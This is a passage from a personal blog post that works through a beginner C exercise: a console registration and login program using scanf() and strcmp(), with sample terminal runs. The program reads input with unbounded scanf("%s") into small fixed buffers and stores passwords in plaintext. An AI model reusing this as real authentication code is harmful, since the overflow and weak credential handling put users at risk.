</span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Registration Interface </span></span><span class="line"><span class="cl">Please enter your registration username: Ly </span></span><span class="line"><span class="cl">Please enter your registration password: 123 </span></span><span class="line"><span class="cl">Congratulations! Registration successful! </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Login Interface </span></span><span class="line"><span class="cl">Please enter your login username: Ly </span></span><span class="line"><span class="cl">Please enter your login password: 123 </span></span><span class="line"><span class="cl">Login successful! </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Login Interface </span></span><span class="line"><span class="cl">Please enter your login username: Ly </span></span><span class="line"><span class="cl">Please enter your login password: 1234 </span></span><span class="line"><span class="cl">Login failed! </span></span><span class="line"><span class="cl">-------------------------------------- </span></span></code></pre></td></tr></table> </div> </div><ul> <li>Define 4 variables to save the registered username, password and login username, password respectively.</li> <li>Use if&hellip;else statement to complete the judgment of the username and password.</li> </ul> </blockquote> <p>To put it simply&hellip; it uses <code>scanf()</code> to get input, assigns the values to variables, and then performs the judgment&hellip;</p> <p>Pft! Alright, here&rsquo;s the code, no explanation needed&hellip;</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp">#include</span><span class="cpf">&lt;string.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span> </span></span><span class="line"><span class="cl"> <span class="cm">/* Define 4 variables to save the registered username, </span></span></span><span class="line"><span class="cl"><span class="cm"> password and login username, password respectively */</span> </span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="n">username_sign</span><span class="p">[</span><span class="mi">40</span><span class="p">];</span> </span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="n">password_sign</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> </span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="n">username_login</span><span class="p">[</span><span class="mi">40</span><span class="p">];</span> </span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="n">password_login</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> </span></span><span class="line"><span class="cl"> <span class="cm">/* Define 4 variables to save the registered username, </span></span></span><span class="line"><span class="cl"><span class="cm"> password and login username, password respectively */</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;--------------------------------------</span><span class="se">\n</span><span class="s"> Registration Interface</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Please enter your registration username:&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span> <span class="n">username_sign</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Please enter your registration password:&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span> <span class="n">password_sign</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Congratulations! Registration successful!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">--------------------------------------&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="cm">/* Use scanf() to get input */</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n\n</span><span class="s">--------------------------------------</span><span class="se">\n</span><span class="s"> Login Interface</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Please enter your login username:&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span><span class="n">username_login</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Please enter your login password:&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span><span class="n">password_login</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="cm">/* Use if...else statement to complete the judgment of the username and password */</span> </span></span><span class="line"><span class="cl"> <span class="cm">/* Uses the strcmp() function here */</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">username_login</span><span class="p">,</span><span class="n">username_sign</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="nf">strcmp</span><span class="p">(</span><span class="n">password_login</span><span class="p">,</span><span class="n">password_sign</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Login successful!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="k">else</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Login failed!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">--------------------------------------&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>However, it&rsquo;s worth noting that this string comparison method is slightly different. It requires using the <code>strcmp()</code> function, something like this.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">username_login</span><span class="p">,</span><span class="n">username_sign</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="nf">strcmp</span><span class="p">(</span><span class="n">password_login</span><span class="p">,</span><span class="n">password_sign</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Login successful!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="k">else</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Login failed!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>It seems to calculate a numerical value, which equals 0 if the two strings are the same. That&rsquo;s roughly how it works.</p> <p>Let&rsquo;s take a look at the output&hellip;</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; make test2 </span></span><span class="line"><span class="cl">cc test2.c -o test2 </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test2 </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Registration Interface </span></span><span class="line"><span class="cl">Please enter your registration username:Ly </span></span><span class="line"><span class="cl">Please enter your registration password:123 </span></span><span class="line"><span class="cl">Congratulations! Registration successful! </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Login Interface </span></span><span class="line"><span class="cl">Please enter your login username:Ly </span></span><span class="line"><span class="cl">Please enter your login password:123 </span></span><span class="line"><span class="cl">Login successful! </span></span><span class="line"><span class="cl">--------------------------------------⏎ </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test2 </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Registration Interface </span></span><span class="line"><span class="cl">Please enter your registration username:Ly </span></span><span class="line"><span class="cl">Please enter your registration password:123 </span></span><span class="line"><span class="cl">Congratulations! Registration successful! </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">-------------------------------------- </span></span><span class="line"><span class="cl"> Login Interface </span></span><span class="line"><span class="cl">Please enter your login username:Ly </span></span><span class="line"><span class="cl">Please enter your login password:1234 </span></span><span class="line"><span class="cl">Login failed! </span></span><span class="line"><span class="cl">--------------------------------------⏎ </span></span></code></pre></td></tr></table> </div> </div><p>And that&rsquo;s it!</p> <h2 id="closing-remarks">Closing Remarks</h2> <p>Actually, there are still some details that I might overlook due to carelessness, so I can&rsquo;t say &ldquo;Is that it? Is that all?&rdquo;</p> <p>But relatively speaking, it&rsquo;s still quite simple&hellip; yeah&hellip;</p>

2020/12/2
阅读更多